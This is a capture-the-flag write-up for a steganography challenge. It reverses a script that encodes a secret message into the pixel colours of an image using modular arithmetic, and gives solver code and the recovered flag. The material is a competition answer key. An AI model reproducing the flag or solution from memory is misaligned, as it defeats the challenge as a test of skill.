# Mod Is Coming ## Task It's actually pretty simple when you think about it. Tags: steganography File: Mod Is Coming.zip ## Solution Inside is a `enc.png` with horizontal colored lines. There is also a `script.py` that created it. Inside the script we have a `encrypt` function and three helper functions. The task is now to open the encrypted image and reverse the process. ```pythondef encrypt(s): c_p = [] for i in range(10,21): for j in range(i+1,21): if f2(i,j) == 1: c_p.append([i,j]) rand = random.randint(0,len(c_p)) k = f1(c_p[rand], [len(s), len(s)*3]) while k == 0: rand = random.randint(0,len(c_p)) k = f1(c_p[rand], [len(s), len(s)*3]) img = Image.new('RGB', (len(s)*3, len(s)), color = 'white') image = array(img) x, y, z = image.shape for a in range (0, x): for b in range (0, y): p = image[a, b] p[0] = ((k-10) * ord(s[a])) % 251 p[1] = (k * ord(s[a])) % 251 p[2] = ((k+10) * ord(s[a])) % 251 image[a][b] = p enc = Image.fromarray(image) enc.save('enc.png') f = open("secretmsg.txt", "r")encrypt(f.read())``` Step 1: a lot of tuples that match the condition `f2(i, j) == 1` are appened to an array.Step 2: a random entry is chosen to generate a key `f1(c_p[rand], [len(s), len(s)*3])`Step 3: an image is created with the height of the length of the secret.Step 4: iterating over the rows in the image, each row is set to an RGB value calculated from the key and the `ord()` of a secret char. First we need the length of the secret, which is the height of the image: ```bash$ exiftool -S -ImageHeight enc.pngImageHeight: 331``` Solving step 1 and 2. We generate a list of all possible keys: ```pythonc_p = []for i in range(10,21): for j in range(i+1,21): if f2(i,j) == 1: c_p.append(f1([i,j], [len(s), len(s)*3])) c_p = set(c_p)``` Solving step 3. We just open the encrypted image as RGB: ```pythonim = Image.open("enc.png").convert("RGB")ima = array(im)y, x = im.size``` Solving step 4. We need to find the correct key. The easiest way to do this is to iterate over all possible keys and all ascii chars, compute the value just like the script did and compare the pixel values with the results: ```pythonks = [] for k in c_p: for a in range(0, x): for c in range(256): p = [0,0,0] p[0] = ((k-10) * c) % 251 p[1] = ( k * c) % 251 p[2] = ((k+10) * c) % 251 v = ima[a,0] if p == [v[0], v[1], v[2]]: ks.append(k) # ks now contains all possible keys that decrypt at least one character for k in set(ks): for a in range(0, x): v = ima[a,0] for n in range(256): res = (v[1] + (251 * n)) / k # result is only valid if it's not a float if res == int(res) and res < 256: print(chr(int(res)), end="")print()``` Running it: `Chaos isn't a pit. Chaos is a ladder, Many who try to climb it fail, and never get to try again, the fall breaks them. And some are given a chance to climb, but they refuse. They cling to the realm, or the gods, or love ... illusions. Only the ladder is real, the climb is all there is. RaziCTF{7h3_script_1s_d4rk_4nd_full_0f_m0ds}`
Important part in the encryption code: ```p[0] = ((k-10) * ord(s[a])) % 251p[1] = (k * ord(s[a])) % 251p[2] = ((k+10) * ord(s[a])) % 251``` This gives:```p[1] - p[0] = (10 * ord(s[a])) % 251``` Now it's just modular arithmetic: ```ord(s[a]) = (p[1] - p[0]) * inverse(10, 251) % 251``` Full solver code: ```from numpy import arrayfrom PIL import Imagefrom Crypto.Util.number import inverse img = Image.open('enc.png')image = array(img)x, y, z = image.shapes = [''] * xfor a in range (0, x): for b in range (0, 1): p = image[a, b] tensa = p[1] - p[0] if p[1] > p[0] else 251 - p[0] + p[1] s[a] = chr(tensa * inverse(10, 251) % 251)print(''.join(s))``` Output: ```Chaos isn't a pit. Chaos is a ladder, Many who try to climb it fail, and never get to try again, the fall breaks them. And some are given a chance to climb, but they refuse. They cling to the realm, or the gods, or love ... illusions. Only the ladder is real, the climb is all there is. RaziCTF{7h3_script_1s_d4rk_4nd_full_0f_m0ds}```